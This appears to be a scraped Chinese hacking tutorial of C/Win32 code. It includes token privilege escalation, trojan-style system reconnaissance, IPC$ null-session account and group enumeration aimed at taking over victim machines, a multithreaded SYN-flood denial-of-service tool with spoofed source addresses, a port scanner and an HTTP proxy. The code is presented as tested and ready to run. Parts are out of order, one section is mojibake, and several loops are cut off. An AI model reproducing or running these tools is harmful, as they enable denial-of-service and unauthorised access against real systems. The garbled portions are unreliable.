if(hProcess!=NULL) CloseHandle(hProcess);
}
return(IsKilled);
}

BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege) //提升权限
{
TOKEN_PRIVILEGES tp;
LUID luid;

if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
{
printf("\nLookupPrivilegeValue error:%d", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL);
if (GetLastError() != ERROR_SUCCESS)
{
printf("AdjustTokenPrivileges

failed: %u\n", GetLastError() );
return FALSE;
}
return TRUE;
}



第六节 获得系统详细信息

木马程序一般都能获得系统详细信息,下面的代码获得计算机名,内存容量,驱动器类型:

#include
#include

void GetSysInfo();

DWORD GetOS()
{
OSVERSIONINFO os;


os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&os);
switch(os.dwPlatformId)
{
case VER_PLATFORM_WIN32_WINDOWS:
return VER_PLATFORM_WIN32_WINDOWS;

case VER_PLATFORM_WIN32_NT:
return VER_PLATFORM_WIN32_NT;
}
return 0;
}

VOID GetSysInfo()
{
TCHAR szBuff[MAX_PATH];
TCHAR szTemp[MAX_PATH];


wsprintf(szBuff,"\n\n\r<>\n\n\r");
printf("%s",szBuff);

//计算机名
DWORD len=sizeof(szTemp);
GetComputerName(szTemp,&len);
wsprintf(szBuff,"Computer Name: %s\n\n\r",szTemp);
printf("%s",szBuff);

//当前操作系统
switch(GetOS())
{
case VER_PLATFORM_WIN32_WINDOWS:
lstrcpy(szTemp,"Windows 9x");
break;
case VER_PLATFORM_WIN32_NT:
lstrcpy(szTemp,"Windows NT/2000");
break;
}
wsprintf(szBuff,"Option System: %s\n\n\r",szTemp);
printf("%s",szBuff);

//内存容量
MEMORYSTATUS mem;
mem.dwLength=sizeof(mem);
GlobalMemoryStatus(&mem);
wsprintf(szBuff,"Total Memroy: %dM\n\n\r",mem.dwTotalPhys/1024/1024+1);
printf("%s",szBuff);

//系统目录
TCHAR szPath[MAX_PATH];
GetWindowsDirectory(szTemp,sizeof(szTemp));
GetSystemDirectory(szBuff,sizeof(szBuff));
wsprintf(szPath,"Windows Directory: %s\n\n\rSystem Directory: %s\n\n\r",szTemp,szBuff);
printf("%s",szBuff);

//驱动器及分区类型
TCHAR szFileSys[10];

for(int i=0;i<26;++i)
{
wsprintf(szTemp,"%c:\\",'A'+i);
UINT uType=GetDriveType(szTemp);
switch(uType)
{
case DRIVE_FIXED:
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
wsprintf(szBuff,"Hard Disk: %s (%s)\n\n\r",szTemp,szFileSys);
printf("%s",szBuff);
break;
case DRIVE_CDROM:
wsprintf(szBuff,"CD-ROM Disk: %s\n\n\r",szTemp);
printf("%s",szBuff);
break;
case DRIVE_REMOTE:
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
wsprintf(szBuff,"NetWork Disk: %s (%s)\n\n\r",szTemp,szFileSys);
printf("%s",szBuff);
break;
}
}

}
int main(void )
{
GetSysInfo();
return 0;

}

第七节 取得系统拥护权限

我们要取得肉鸡的控制权,首先必须有Administrator权限,获得权限的途径很多都是通过IPC$破解来获得用户密码.

我们看一下代码:

#include
#include
#include

#pragma comment (lib, "Mpr.lib")
#pragma comment (lib, "Netapi32.lib")

void getuser(char *);

void main( int argc,

char *argv[ ] )
{ //空用户名和密码
DWORD ret;
char username[100] = "", password[100] = "";
char server[100] = "", ipc[100] = "";
NETRESOURCE NET;

if (argc == 1)
{
exit(1);
}

strncpy(server,argv[1],100);
printf("server: %s\n", server);

sprintf(ipc,"\\\\%s\\ipc$",server);

NET.lpLocalName = NULL;
NET.lpProvider = NULL;
NET.dwType = RESOURCETYPE_ANY;
NET.lpRemoteName = (char*)&ipc;

printf("setting up session... ");
ret = WNetAddConnection2(&NET,(const char *)&password,(const char *)&username,0);
//建立空连接
if (ret != ERROR_SUCCESS)
{
printf("IPC$ connect fail.\n");
exit(1);
}
else
printf("IPC$ connect success.\n");
getuser((char*)&server);

printf("Disconnect Server... ");
ret = WNetCancelConnection2((char*)&ipc,0,TRUE); //断开IPC连接
if (ret != ERROR_SUCCESS)
{
printf("fail.\n");
exit(1);
}
else
printf("success.\n");
exit (0);
}

void getuser(char *server) //取得用户的函数
{
DWORD ret, read, total, resume = 0;
int i;
LPVOID buff;
char comment[255];
wchar_t wserver[100];

do
{
ret = NetLocalGroupEnum(wserver, 1, (unsigned char **)&buff, MAX_PREFERRED_LENGTH, &read, &total, &resume);

if (ret != NERR_Success && ret != ERROR_MORE_DATA)
{
printf("fail\n");
break;
}
PLOCALGROUP_INFO_1 info = (PLOCALGROUP_INFO_1) buff;

for (i=0; i{
printf("GROUP: %S\n",info[i].lgrpi1_name);

WideCharToMultiByte(CP_ACP, 0, info[i].lgrpi1_comment , -1, comment,255,NULL,NULL);
printf("\tCOMMENT: %s\n",comment);

DWORD ret, read, total, resume = 0;
ret = NetLocalGroupGetMembers((const unsigned short*)&wserver, info[i].lgrpi1_name, 2, (unsigned char **)&buff, 1024, &read, &total, &resume);

if (ret != NERR_Success && ret != ERROR_MORE_DATA)
{
printf("fail\n");
break;
}

PLOCALGROUP_MEMBERS_INFO_2 info = (PLOCALGROUP_MEMBERS_INFO_2) buff;

for (unsigned i=0; i{
printf("\t\t%S\n", info[i].lgrmi2_domainandname);
printf("\t\t\tSID:%d\n", info[i].lgrmi2_sid);
printf("\t\t\tSIDUSAGE:%d\n",info[i].lgrmi2_sidusage);
}
NetApiBufferFree (buff);
}

NetApiBufferFree (buff);

}
while (ret == ERROR_MORE_DATA );
}




本部分代码都是我在学习C++的过程中自己编写或者收集的

程序,由于个人的水平有限,其中难免有纰漏,请各位指正.


各代码都经过测试,均可以直接运行.

第一节 多线程DOS程序

DOS基本原理相信大家都已经很熟悉了,DOS工具大家也用的很熟悉.在群里 经常有人说什么时候去DOS什么东西.
现在我们就自己编写一个DOS工具.


#include
#include
#include

#pragma comment(lib,"ws2_32.lib")

#define SEQ 0x28376839

int threadnum,maxthread,port;
char *DestIP; //目标IP

void display(void) // 定义状态提示函数
{
static int play=0;
// 进度条
char *plays[12]=
{
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
};

printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
}

//定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
USHORT th_sport; //16位源端口号
USHORT th_dport; //16位目的端口号
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度+6位保留字中的4位
unsigned char th_flag; ////6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位效验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;

//定义一个iphdr来存放IP首部
typedef struct iphdr //ip首部
{
unsigned char h_verlen; //4位手部长度,和4位IP版本号
unsigned char tos; //8位类型服务
unsigned short total_len; //16位总长度
unsigned short ident; //16位标志
unsigned short frag_and_flags; //3位标志位(如SYN,ACK,等等)
unsigned char ttl; //8位生存时间
unsigned char proto; //8位协议
unsigned short checksum; //ip手部效验和
unsigned int sourceIP; //伪造IP地址
unsigned int destIP; //攻击的ip地址
}IP_HEADER;

//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
struct
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; //置空
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSD_HEADER;

//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size)
cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}

DWORD WINAPI SynfloodThread(LPVOID lp) //synflood线程函数
{

SOCKET sock =NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct sockaddr_in sockAddr;
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128];

sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sock==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 0;
}

//设置IP_HDRINCL以便自己填充IP首部
ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)


{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 0;
}
//设置发送超时
ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 0;
}
//设置目标地址
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(DestIP);
FakeIpNet=inet_addr(DestIP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(DestIP);
//填充TCP首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;

PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));

for(;;)
{

SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(SendSEQ);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));

sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
display();


}
Sleep(20);
InterlockedExchangeAdd((long *)&threadnum,-1);

return 0;
}

void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\t==========gxisone@https://www.wendangku.net/doc/d216910916.html, 2004/7/6========\n");
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}

int main(int argc,char* argv[])
{

if(argc!=4)
{

usage(argv[0]);
return 0;
}
usage(argv[1]);

int ErrorCode=0;
DestIP=argv[1]; //取得目标主机IP

port=atoi(argv[2]); //取得目标端口号
maxthread=(maxthread>100)?100:atoi(argv[3]);
//如果线程数大于100则把线程数设置为100

WSADATA wsaData;

if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 0;
}



printf("[start]...........\nPress any key to stop!\n");

while(threadnum{
if(CreateThread(NULL,0,SynfloodThread,0,0,0))
{
Sleep(10);
threadnum++;
}
}
WSACleanup();
printf("\n[Stopd]...........\n");

return 0;
}





μú?t?ú μ¥??3ìTCP???úé¨?è?÷

#include
#include
#include //??ê±Dèòaó?μ?μ?í????t
#pragma comment(lib,"ws2_32.lib")

#include //??ê±Dèòaó?μ?μ?í????t
clock_t start,end; //3ìDò??DDμ??eê?oí?áê?ê±??
float costtime; //3ìDòo?ê±
void usage(void)
{
printf("\tusage: tcpscan RemoteIP StartPort-EndPort\n");
printf("\tExample: tcpscan 192.168.1.1 80-100\n");
}

int main(int argc,char **argv)
{
char *host;
int startport,endport;
char *p;
if(argc!=3)
{
usage();
return 0;
}

p=argv[2]; //′|àí???ú2?êy
if(strstr(argv[2],"-"))
{
startport=atoi(argv[2]);
for(;*p;)
if(*(p++)=='-')break;
endport=atoi(p);

if(startport<1 || endport>65535)
{
printf("Port Error!\n");
return 0;
}

}


host=argv[1];

WSADATA ws;
SOCKET s;
struct sockaddr_in addr;
int result;
long lresult;

lresult=WSAStartup(MAKEWORD(1,1), &ws);

addr.sin_family =AF_INET;
addr.sin_addr.s_addr =inet_addr(host);

start=clock(); //?aê???ê±

for (int i=startport;i{
s=socket(AF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(i);
if(s==INVALID_SOCKET)break;
result=connect(s, (struct sockaddr*)&addr,sizeof(addr));
if(result==0)
{
printf("%s %d\n",host,i);
closesocket(s);

}

}
end=clock(); //??ê±?áê?
costtime= (float)(end - start) / CLOCKS_PER_SEC; //×a??ê±????ê?
printf("Cost time:%f second",costtime); //??ê?o?ê±
WSACleanup();

}

第三节 HTTP代理

#include
#include
#define MAXBUFLEN 20480
#define HTTPADDLEN 50
#define TIMEWAIT 2000
#pragma comment(lib,"ws2_32.lib")
SOCKET Global[1000];

DWORD WINAPI Proxy( LPVOID pSocket);
int ParseHttpRequest(char * SourceBuf,int DataLen,void * ServerAddr);


int main(int argc,char * argv[])
{
SOCKET MainSocket,ClientSocket;
struct sockaddr_in Host,Client;
WSADATA WsaData;
int AddLen,i;

//初始化

if(WSAStartup(MAKEWORD(2,2),&WsaData) < 0)
{
printf("初始化失败\n");

return 1;
}
//创建socket端口
MainSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(MainSocket == SOCKET_ERROR)
{
printf("端口创建错误\n");
return 1;
}
Host.sin_family = AF_INET;
Host.sin_port = htons(8080);
Host.sin_addr.s_addr = inet_addr("127.0.0.1");
printf("正在工作\n");
//绑定socket
if(bind(MainSocket,(SOCKADDR *)&Host,sizeof(Host)) != 0)
{
printf("绑定错误\n");
}
i = 0;
//监听
if(listen(MainSocket,5) == SOCKET_ERROR)
{
printf("监听错误\n");
}
AddLen = sizeof(Client);

//连接新的客户
i = 0;
for(;;)
{
ClientSocket = accept(MainSocket,(SOCKADDR *)&Client,&AddLen);
if(ClientSocket == SOCKET_ERROR)
{
printf("接受客户请求错误!\n");
}
printf(".");
i ++ ;
if( i >= 1000)
i = 0;
Global[i] = ClientSocket;

//对于每一个客户启动不同的线程程进行控制
//这个地方在使用ClientSocket的时候,要不要保证在某一时刻内只能有一个进程使用?

CreateThread(NULL,0,Proxy,(LPVOID)Global[i],0,NULL);


}


return 0;
}
DWORD WINAPI Proxy( LPVOID pSocket)
{
SOCKET ClientSocket;
char ReceiveBuf[MAXBUFLEN];
int DataLen;
struct sockaddr_in ServerAddr;
SOCKET ProxySocket;
int i = 0;
int time = TIMEWAIT;

//得到参数中的端口号信息
ClientSocket = (SOCKET)pSocket;
//接受第一次请求信息
memset(ReceiveBuf,0,MAXBUFLEN);
DataLen = recv(ClientSocket,ReceiveBuf,MAXBUFLEN,0);

if(DataLen == SOCKET_ERROR)
{
printf("错误\n");
closesocket(ClientSocket);
return 0;
}
if(DataLen == 0)
{
closesocket(ClientSocket);
return 0;
}
//处理请求信息,分离出服务器地址
if( ParseHttpRequest(ReceiveBuf,DataLen,(void *)&ServerAddr) < 0)
{
closesocket(ClientSocket);
goto error;
}
//创建新的socket用来和服务器进行连接
ProxySocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//设置超时时间
setsockopt(ProxySocket,SOL_SOCKET,SO_RCVTIMEO,(char *)&time,sizeof(time));
if(ProxySocket == SOCKET_ERROR)
{
printf("端口创建错误\n");
return 0;
}
if(connect(ProxySocket,(SOCKADDR *)&ServerAddr,sizeof(ServerAddr)) == SOCKET_ERROR)
{
//printf("连接服务器错误");
goto error;
}
//开始进行数据传输处理
//发送到服务器端
if(send(ProxySocket,ReceiveBuf,DataLen,0) == SOCKET_ERROR)
{

//printf("数据发送错误");
goto error;

}
//从服务器端接受数据
while(DataLen > 0)
{
memset(ReceiveBuf,0,MAXBUFLEN);

if((DataLen = recv(ProxySocket,ReceiveBuf,MAXBUFLEN,0)) <= 0)
{
// printf("数据接受错误");
break;

}
else
//发送到客户端
if(send(ClientSocket,ReceiveBuf,DataLen,0) < 0)
{
// printf("数据发送错误");
break;
}

}

error:
closesocket(ClientSocket);
closesocket(ProxySocket);

return 0;

}
int ParseHttpRequest(char * SourceBuf,int DataLen,void * ServerAddr)
{

char * HttpHead = "http://";
char * FirstLocation = NULL;
char * LastLocation = NULL;
char * PortLocation = NULL;
char ServerName[HTTPADDLEN];
char PortString[10];
int NameLen;
struct hostent * pHost;
struct sockaddr_in * pServer = (struct sockaddr_in *)ServerAddr;
//取得http://的位置
FirstLocation = strstr(SourceBuf,HttpHead) + strlen(HttpHead);
//取得/的位置
printf("%s\n",FirstLocation);
LastLocation=strstr(FirstLocation,"/");

//得到http://和/之间的服务器的名称

memset(ServerName,0,HTTPADDLEN);
memcpy(ServerName,FirstLocation,LastLocation - FirstLocation);

//有些情况下,请求的地址中带有端口号格式为“:+ 端口号”;
//取得 :的位置
PortLocation = strstr(ServerName,":");


//填充server结构
pServer->sin_family = AF_INET;
//在url中制定了服务器端口
if(PortLocation != NULL)
{
NameLen = PortLocation - ServerName -1;
memset(PortString,0,10);
memcpy(PortString,PortLocation + 1,NameLen);
pServer->sin_port = htons((u_short)atoi(PortString));
*PortLocation = 0;
}
else//在url中,没有制定服务器端口
{
pServer->sin_port=htons(80);
}

if(NameLen > HTTPADDLEN)
{
printf("服务器名字太长\n");
return -1;
}

//得到服务器信息
//如果地址信息是以IP地址(192.168.0.1)的形式出现的
if(ServerName[0] >= '0' && ServerName[0] <= '9')
{

pServer->sin_addr.s_addr = inet_addr(ServerName);
}
//以域名的形式出现的(https://www.wendangku.net/doc/d216910916.html,)
else
{
pHost = (struct hostent *)gethostbyname(ServerName);
if(!pHost)
{
printf("取得主机信息错误\n");
printf("%s\n",ServerName);
return -1;
}
memcpy(&pServer->sin_addr,pHost->h_addr_list[0],sizeof(pServer->sin

相关文档